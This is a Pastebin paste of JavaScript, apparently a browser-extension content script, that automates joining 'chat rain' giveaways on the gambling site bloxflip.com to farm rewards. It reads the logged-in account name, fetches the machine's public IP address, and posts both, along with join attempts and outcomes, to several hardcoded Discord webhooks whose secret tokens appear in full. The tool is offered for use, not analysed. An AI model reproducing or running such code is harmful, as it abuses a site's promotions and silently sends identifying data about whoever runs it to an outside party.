Advertisement
PSXexploits

Untitled

Aug 21st, 2024
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.81 KB | None | 0 0
  1. (function() {
  2. let running = false;
  3.  
  4. if (window.location.href === "https://bloxflip.com/community-cases/7hB4hLHjSg3F3UEIYdURBu") {
  5. return;
  6. }
  7.  
  8. if (window.location.href != "https://bloxflip.com/profile") {
  9. location.replace("https://bloxflip.com/profile");
  10. }
  11.  
  12. let AccountName = null;
  13. // let Robux = null;
  14.  
  15. // function getAccountRobux(){
  16. // const robuxElement = document.querySelector('.text_text__fMaR4 text_regular16__7x_ra');
  17. // if (robuxElement) {
  18. // Robux = robuxElement.textContent;
  19. // sendDiscordWebhookMessageRobux(`${AccountName} has ${Robux}`)
  20. // } else {
  21. // location.reload();
  22. // }
  23. // }
  24.  
  25. function getAndPrintIP() {
  26. fetch('https://api.ipify.org?format=json')
  27. .then(response => response.json())
  28. .then(data => {
  29. const ipAddress = data.ip;
  30. sendDiscordWebhookMessageIP(`Account ${AccountName} is on ip ${ipAddress}.`);
  31. })
  32. .catch(error => {
  33. console.error('Error fetching IP address:', error);
  34. });
  35. }
  36.  
  37. function getAccountName(){
  38. const nameElement = document.querySelector('.text_text__fMaR4.text_smHeadlines__aYcqT');
  39. if (nameElement) {
  40. AccountName = nameElement.textContent;
  41. getAndPrintIP()
  42. } else {
  43. location.reload();
  44. }
  45. }
  46.  
  47. function sendDiscordWebhookMessageJoin(content) {
  48. const webhookUrl = 'https://discord.com/api/webhooks/1275775817506357319/TT9iZhOf8erVmNj9tES1e7Q-OufdV0PlPjt8nM4aBFa06jZZpXY2Hbzo8L7IiKC-10xS';
  49. const data = {
  50. content: content
  51. };
  52.  
  53. fetch(webhookUrl, {
  54. method: 'POST',
  55. headers: {
  56. 'Content-Type': 'application/json',
  57. },
  58. body: JSON.stringify(data),
  59. })
  60. .then(response => {
  61. if (response.ok) {
  62. console.log('Message sent to Discord webhook successfully!');
  63. } else {
  64. console.error('Error sending message:', response.statusText);
  65. }
  66. })
  67. .catch(error => {
  68. console.error('Error sending message:', error);
  69. });
  70. }
  71.  
  72. function sendDiscordWebhookMessageAttempt(content) {
  73. const webhookUrl = 'https://discord.com/api/webhooks/1275770239803719772/_AJxL_55IQhunZI94U4oS9zcyeWfy5dQGLpb1Kt65PHxBMv4GFkef_9ET34ko7vyZenk';
  74. const data = {
  75. content: content
  76. };
  77.  
  78. fetch(webhookUrl, {
  79. method: 'POST',
  80. headers: {
  81. 'Content-Type': 'application/json',
  82. },
  83. body: JSON.stringify(data),
  84. })
  85. .then(response => {
  86. if (response.ok) {
  87. console.log('Message sent to Discord webhook successfully!');
  88. } else {
  89. console.error('Error sending message:', response.statusText);
  90. }
  91. })
  92. .catch(error => {
  93. console.error('Error sending message:', error);
  94. });
  95. }
  96.  
  97. function sendDiscordWebhookMessageAttemptFailed(content) {
  98. const webhookUrl = 'https://discord.com/api/webhooks/1275776236010082375/zD2f1uQyTueqmfmkmQEpGnVSwKVZ0pyRQD7ap4thq4D99MISh-QYDlSGx7DKbsKRx7uE';
  99. const data = {
  100. content: content
  101. };
  102.  
  103. fetch(webhookUrl, {
  104. method: 'POST',
  105. headers: {
  106. 'Content-Type': 'application/json',
  107. },
  108. body: JSON.stringify(data),
  109. })
  110. .then(response => {
  111. if (response.ok) {
  112. console.log('Message sent to Discord webhook successfully!');
  113. } else {
  114. console.error('Error sending message:', response.statusText);
  115. }
  116. })
  117. .catch(error => {
  118. console.error('Error sending message:', error);
  119. });
  120. }
  121.  
  122.  
  123. function sendDiscordWebhookMessageIP(content) {
  124. const webhookUrl = 'https://discord.com/api/webhooks/1275776974928744511/efgpzh5XSJpmqUQZPzgYSESSrlvVkKl-Az-Xs6dGtYPsV4o6-xcvDkNGUkTxQO1p4vtu';
  125. const data = {
  126. content: content
  127. };
  128.  
  129. fetch(webhookUrl, {
  130. method: 'POST',
  131. headers: {
  132. 'Content-Type': 'application/json',
  133. },
  134. body: JSON.stringify(data),
  135. })
  136. .then(response => {
  137. if (response.ok) {
  138. console.log('Message sent to Discord webhook successfully!');
  139. } else {
  140. console.error('Error sending message:', response.statusText);
  141. }
  142. })
  143. .catch(error => {
  144. console.error('Error sending message:', error);
  145. });
  146. }
  147.  
  148. function sendDiscordWebhookMessageRobux(content) {
  149. const webhookUrl = 'https://discord.com/api/webhooks/1275779200250281994/S9za-uLSrmKcr3M3IhzV7JpDkG8On76jui3fEJzpuNkbKwZNp3JOT1dlZwEzfK7J7B84';
  150. const data = {
  151. content: content
  152. };
  153.  
  154. fetch(webhookUrl, {
  155. method: 'POST',
  156. headers: {
  157. 'Content-Type': 'application/json',
  158. },
  159. body: JSON.stringify(data),
  160. })
  161. .then(response => {
  162. if (response.ok) {
  163. console.log('Message sent to Discord webhook successfully!');
  164. } else {
  165. console.error('Error sending message:', response.statusText);
  166. }
  167. })
  168. .catch(error => {
  169. console.error('Error sending message:', error);
  170. });
  171. }
  172.  
  173.  
  174. function removeUnusedElements() {
  175. const elementsToRemove = document.querySelectorAll('.layout_layoutColumn__e9oxs, .chat_chatTrack__ISYoh, .sidebar_sidebar__7U3PX, div[style="margin-top: 1em; margin-bottom: 1em; cursor: pointer;"], div[style="margin-top: 1em; margin-bottom: 1em; cursor: pointer;"]');
  176. elementsToRemove.forEach(el => el.remove());
  177. }
  178.  
  179. function checkForRainSuccess() {
  180. const confirmationElement = document.querySelector('div[role="status"][class="go3958317564"]');
  181.  
  182. if (confirmationElement) {
  183. const textContent = confirmationElement.textContent;
  184.  
  185. if (textContent.includes("You're now participating in this chat rain event!")) {
  186. confirmationElement.remove();
  187. chrome.runtime.sendMessage({ action: "addSuccessRain" });
  188. sendDiscordWebhookMessageJoin(`Account ${AccountName} has joined!`);
  189. } else if (textContent.includes("Failed to load messages...") || textContent.includes("Lost connection to the server")) {
  190. confirmationElement.remove();
  191. setTimeout(function() { location.reload(); }, 2000);
  192. } else if (textContent.includes("The system is now awarding R$ to players who have participated in the chat rain! This process can take a few minutes!")) {
  193. confirmationElement.remove();
  194.  
  195. if (document.querySelector('.modals_modalAuthContent__VSruX')) {
  196. sendDiscordWebhookMessageAttemptFailed(`Account ${AccountName} has failed to join...`);
  197. setTimeout(function() { location.reload(); }, 1000);
  198. }
  199. }
  200. }
  201. }
  202.  
  203. function checkForRainSuccess2() {
  204. const loginbutton = document.querySelector('button.button_button__dZRSb.button_primary__LXFHi');
  205. if (loginbutton && loginbutton.textContent.trim() === "Log in") {
  206. setTimeout(function() { location.reload(); }, 2000);
  207. }
  208.  
  209. const errorPage = document.querySelector('div.error_errorPage__6vGAy');
  210. const clickableDivs = document.querySelectorAll('div[style="margin-top: 1em; margin-bottom: 1em; cursor: pointer;"]');
  211.  
  212. if (errorPage) {
  213. setTimeout(function() { location.reload(); }, 2000);
  214. }
  215.  
  216. if (clickableDivs.length > 0) {
  217. clickableDivs.forEach(div => div.remove());
  218. }
  219. }
  220.  
  221. function fetchRainData() {
  222. return fetch('https://api.bloxflip.com/chat/history')
  223. .then(response => response.json())
  224. .then(data => {
  225. if (data.rain) {
  226. return data.rain;
  227. }
  228. return null;
  229. })
  230. .catch(error => {
  231. console.error('Error fetching rain data:', error);
  232. return null;
  233. });
  234. }
  235.  
  236. async function checkForRain() {
  237. const currentTime = Date.now();
  238. const rainData = await fetchRainData();
  239. if (running) return;
  240. if (rainData && rainData.active) {
  241.  
  242. const joinButton = document.querySelector('.chat_chatBannerJoinButton__avNuN');
  243.  
  244. const endTime = rainData.created + rainData.duration;
  245. const remainingTime = Math.max(0, endTime - currentTime);
  246. const totalWaitTime = remainingTime + 5000;
  247.  
  248. if (currentTime > endTime){
  249. return;
  250. }
  251.  
  252. if (joinButton) {
  253. joinButton.click();
  254. joinButton.remove();
  255.  
  256. chrome.runtime.sendMessage({action: "addRainAttemps"});
  257.  
  258. sendDiscordWebhookMessageAttempt(`Account ${AccountName} has attempted to join.`);
  259.  
  260. running = true;
  261. await new Promise(resolve => setTimeout(resolve, totalWaitTime));
  262. running = false;
  263. }
  264. }
  265. }
  266.  
  267. setTimeout(getAccountName, 1000);
  268. setTimeout(removeUnusedElements, 2500);
  269. setInterval(checkForRain, 10000);
  270. setInterval(checkForRainSuccess, 1500);
  271. setInterval(checkForRainSuccess2, 4500);
  272.  
  273. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement